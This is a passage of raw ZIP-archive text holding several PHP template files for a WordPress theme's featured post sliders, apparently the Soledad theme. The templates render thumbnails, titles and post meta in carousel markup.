										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\    7  inc/js_composer/shortcodes/featured_slider/style-23.phpnu [        <?php
/**
 * Template part for Slider Style 23
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 6 == 1 || $i % 6 == 2 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 6 ); ?> <?php echo( ( $i % 6 == 1 || $i % 6 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 6 == 1 || $i % 6 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 6 == 1 || $i % 6 == 2 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 6 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\ԏlr  r  7  inc/js_composer/shortcodes/featured_slider/style-25.phpnu [        <?php
/**
 * Template part for Slider Style 25
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>  <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\P    7  inc/js_composer/shortcodes/featured_slider/style-19.phpnu [        <?php
/**
 * Template part for Slider Style 19
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $bpost_thumb_size;
				$psize = 'small';
				if ( $i % 4 == 2 || $i % 4 == 3 ): $thumb = $post_thumb_size;
					$psize                                = 'normal';endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 2 || $i % 4 == 3 ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\&    6  inc/js_composer/shortcodes/featured_slider/style-7.phpnu [        <?php
/**
 * Template part for Slider Style 7
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\ѦhC  C  7  inc/js_composer/shortcodes/featured_slider/style-41.phpnu [        <?php
/**
 * Template part for Slider Style 41
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';

?>
<div class="penci-slider41-wrapper">
    <div class="penci-slider41-thumb-wrapper">
        <div class="penci-slider41-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-direction="vertical" data-desktop="4" data-tablet="3" data-mobile="3" data-margin="0"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider41-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider41-t-item">

                        <div class="pcslider-41-img">
                        <div class="penci-image-holder"
                             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                             href="<?php the_permalink(); ?>"
                             title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                        </div>
                        <div class="pcslider-41-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider41-main-wrapper">
        <div class="penci-slider41-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider41-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\L	  	  7  inc/js_composer/shortcodes/featured_slider/style-38.phpnu [        <?php
/**
 * Template part for Slider Style 38
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();
if ( $penci_is_mobile ) {
	$post_thumb_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
		<?php do_action( 'penci_bookmark_post' ); ?>
        <a class="penci-slider38-overlay" href="<?php the_permalink(); ?>"></a>
        <a class="penci-image-holder"
           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $post_thumb_size ); ?>');"
           href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
        </a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $cspost_enable || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php echo penci_show_custom_meta_fields( [
								'validator' => $cspost_enable,
								'keys'      => $cspost_cpost_meta,
								'acf'       => $cspost_cpost_acf_meta,
								'label'     => $cspost_cpost_meta_label,
								'divider'   => $cspost_cpost_meta_divider,
							] ); ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
							<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
										echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
